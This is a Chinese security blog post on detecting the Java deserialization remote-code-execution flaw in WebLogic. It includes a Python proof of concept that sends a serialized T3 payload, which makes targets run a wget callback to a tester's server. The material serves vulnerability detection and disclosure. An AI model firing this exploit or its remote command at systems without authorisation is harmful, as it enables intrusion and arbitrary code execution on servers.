本文‍作者:魔方安全团队

前言

Java反序列漏洞出现在人们视野已经有一段时间了,魔方安全团队对这个漏洞进行了复现,同时研究出了一种准确性较高的批量检测的思路,在此与各位安全圈的朋友分享。

背景

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。

其实早在2015年的1月28号,国外的安全研究员Gabriel Lawrence和Chris Frohoff在AppSecCali上给出了一个报告,报告中已

经指出Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行。

‍‍Java反序列漏洞简介

‍‍序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectInputStream类的readObject()方法用于反序列化。下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复的样例代码:

public static void main(String args[]) throws Exception {
String obj = "hello world!";
// 将序列化对象写入文件object.db中
FileOutputStream fos = new FileOutputStream("object.db");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj); os.close();
 // 从文件object.db中读取数据
FileInputStream fis = new FileInputStream("object.db");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象obj String obj2 = (String)ois.readObject();
ois.close();
}

问题在于,如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。

本文针对该漏洞的原理将不再详细描述,可参考长亭科技在11月初发布针对该漏洞的详细原理介绍:Lib之过?Java反序列化漏洞通用利用分析

漏洞检测

检测用工具

该漏洞的利用方法目前已经有成型的工具,其中包括国外研究者编写的ysoserial,以及国内研究者编写的serial.jar,均可以生成攻击payload。

检测思路

拓扑结构:     

由于目前来说暂未发现可直接回显结果的方法,单纯检测包返回结果无法很精确的发现是否存在漏洞,因此我们采用了结合第三方的方式进行批量检查,检测服务器发送payload到受检测主机,受监测主机执行远程命令访问测试服务器打开的Web服务,登录测试服务器查看测试服务器的Web访问日志日志,确认受检测主机IP地址是否在日志文件上,测试服务器日志上存在受监测主机的IP地址,则可以确认受监测主机执行了命令,存在漏洞。                    

本次测试以使用最多的Weblogic为例,使用工具生成 payload ,payload中执行的命令为

wget http://x.x.x.x/libreversex.html

其中x.x.x.x为我们搭建用于接受wget命令的测试服务器的IP


然后利用国外的POC进行修改,在代码后面加入远程读取服务器日志,并匹配日志中是否存在该IP地址,其中读取目标服务器访问日志,我们使用了一个技巧,即将目标服务器的Web访问日志做个硬链接到Web目录下,这样就可以远程直接读取Web日志进行比对,确认该IP是否存在安全漏洞:


运行结果:


在批量检测过程中,我们发现并不是说仅有7001存在该安全漏洞,部分站点80端口也存在该漏洞,因为只要是接受T3协议的端口均会存在该安全漏洞。

检测方法总结

优点:

该检测方法直接通过执行命令方式并查看执行结果的方式进行检测,准确率高。

缺点:

1. 若内网防火墙禁止内部主机主动访问外部,则无法成功检测,因此存在漏报的可能。

2. 对于windows下的主机,由于无wget命令,无法使用该方式检测。

检测用测试代码

以下是WebLogic的POC,采用的BBT的框架:

#!/usr/bin/env python
# coding=utf-8
 
import socket
import sys
import requests
import base64
import string
import urlparse
import os
import time
import requests
 
 
from baseframe import BaseFrame
 
class MyPoc(BaseFrame):
    poc_info = {
        # poc相关信息
        'poc': {
            'id': 'poc-2015-1113',
            'name': 'java反序列漏洞weblogic',
            'author': 'vicky',
            'create_date': '2015-11-13',
        },
        # 协议相关信息
        'protocol': {
            'name': '*',
            'port': ['*'],
            'layer4_protocol': ['tcp'],
        },
        # 漏洞相关信息
        'vul': {
            'app_name': 'java',
            'vul_version': ['*'],
            'type': '远程命令执行',
            'tag': ['Java反序列漏洞', '远程命令执行', 'weblogic'],
            'desc': '''
                    java 反序列漏洞使远程执行任意对象,配合weblogic中的Java反序列可使存在jenkins的系统远程执行命令
                    ''',
            'references': ['http://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#rdd',
                           ],
        },
    }
    def _init_user_parser(self):
        self.user_parser.add_option('-p','--port',
                                action='store', dest='port', type='int', default=6379,
                                help='this poc need the port to connect redis'
                                'the default port is 6379.')
 
    @classmethod
    def verify(cls, args):
 
        ip=args['options']['target']
        port=args['options']['port']
        socket.setdefaulttimeout(5)
        payload='\x00\x00\x09\xfc\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
 
        try :
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server_address = (ip, int(port))
            headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
            sock.connect(server_address)
            sock.sendall(headers)
            data = sock.recv(1024)
        except Exception,e:
            return args
        if "HELO" in data:
            try:
                payloadObj = open(“serial.wget”).read()
                payload=payload+payloadObj            
                payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
                sock.send(payload)
                time.sleep(10)
                data=requests.get('http://IP:PORT/log.log')
                if data.content.count(str(ip)) > 0:
 
                    args['success'] = True
                    args['poc_ret']['ip'] = ip
                    args['poc_ret']['port']= port
            except Exception,e:
                return args
        return args
    exploit = verify
if __name__ == '__main__':
    from pprint import pprint
 
    mp = MyPoc()
pprint(mp.run())

参考资料:

http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

https://github.com/CaledoniaProject/jenkins-cli-exploit

http://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#rd 

* 作者:CUBESEC Vicky,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...